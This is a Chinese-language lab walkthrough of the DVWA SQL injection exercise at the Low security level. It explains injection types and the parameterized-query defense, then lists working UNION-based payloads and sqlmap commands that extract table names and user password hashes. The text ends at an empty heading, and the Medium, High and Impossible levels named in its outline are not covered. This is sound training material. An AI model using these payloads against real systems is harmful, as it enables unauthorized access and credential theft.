网络安全 DVWA通关指南 SQL Injection(SQL注入)
DVWA SQL Injection
文章目录
- DVWA SQL Injection
- Low
- Medium
- High
- Impossible
SQL注入漏洞基本原理
Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。
可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。
根据注入技术分类有以下五种:
布尔型盲注:根据返回页面判断条件真假
时间型盲注:用页面返回时间是否增加判断是否存在注入
基于错误的注入:页面会返回错误信息
联合查询注入:可以使用union的情况下
堆查询注入:可以同时执行多条语句
防御方法
使用参数化查询。
数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行;
而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。
避免数据变成代码被执行,时刻分清代码和数据的界限。
Low
一、判断提交方式
在User ID中输入数字1,提交后发现,在URL地址栏出现了提交的参数,由此可以判断提交方式为get方式。
提问:get和post提交方式对SQL注入的实施有什么影响?
二、判断服务器处理类型(数字型或字符型)
加单引号,提交1',出现报错信息,显示多出一个单引号,可以确定为字符型注入
三、判断注入点
提交1' or 1=1#语句,结果返回了全部的内容,可以判断存在注入点
1' or 1=1#
四、判断列数
使用order by语句判断目标数据库表中的列数,依次提交1' order by 1#语句,数字从大到小,当出现报错信息后确定列数。
1' order by 1# 1' order by 2# 1' order by 3#
当提交1' order by 3#时出现报错信息,说明目标数据库表中的列数为2
五、提取库名、表名、字段名、值
1、提取库名
依据前一步得到的列数构建注入语句,得到数据库名dvwa
1' union select 1,database()#
2、提取表名
通过注入攻击来获取名为’dvwa’的数据库中的所有表名
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'# //information_schema 是一个特殊的系统数据库,其中包含了所有用户创建的数据库以及这些数据库中的表的信息。tables 表提供了关于所有表的详细信息,如表名、表类型等。 //"1,table_name"中的'1'是一个占位符,用于模拟与原始查询返回相同数量的列,以便UNION操作成功执行。
当提交注入语句时,可能出现如下错误信息:
Illegal mix of collations for operation 'UNION'
这是由于MySQL在执行UNION操作时遇到的不同字符集之间的冲突报错。
解决方法:打开CMD,登录MySQL的dvwa数据库,修改first_name和last_name字段的字符集
alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci; alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci; //将first_name和last_name字段的字符集都设置为了utf8,并指定了排序规则为utf8_general_ci
修改完毕后,命令执行成功
3、提取字段名
通过注入攻击获取数据库中特定表(本例中为users表)的所有字段名。
1' union select 1,column_name from information_schema.columns where table_name='users'#
4、提取值
从数据库表 users 中提取 user 和 password 字段的数据
1' union select user,password from users#
执行命令出现同样的字符编码问题,解决方法还是修改字段的字符集
alter table users modify user varchar(15) character set utf8 collate utf8_general_ci; alter table users modify password varchar(50) character set utf8 collate utf8_general_ci;
执行成功得到用户和密码的数据,密码为32位小写MD5,可以通过在线工具解密
六、SQLmap工具使用
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low"
1、提取库名
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" --dbs
2、提取表名
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa --tables
3、提取字段名
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa -T users --columns
4、提取值
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=i0ssj777jur6gqb9af6bd111tn; security=low" --batch -D dvwa -T users -C user,password --dump
七、分析后台脚本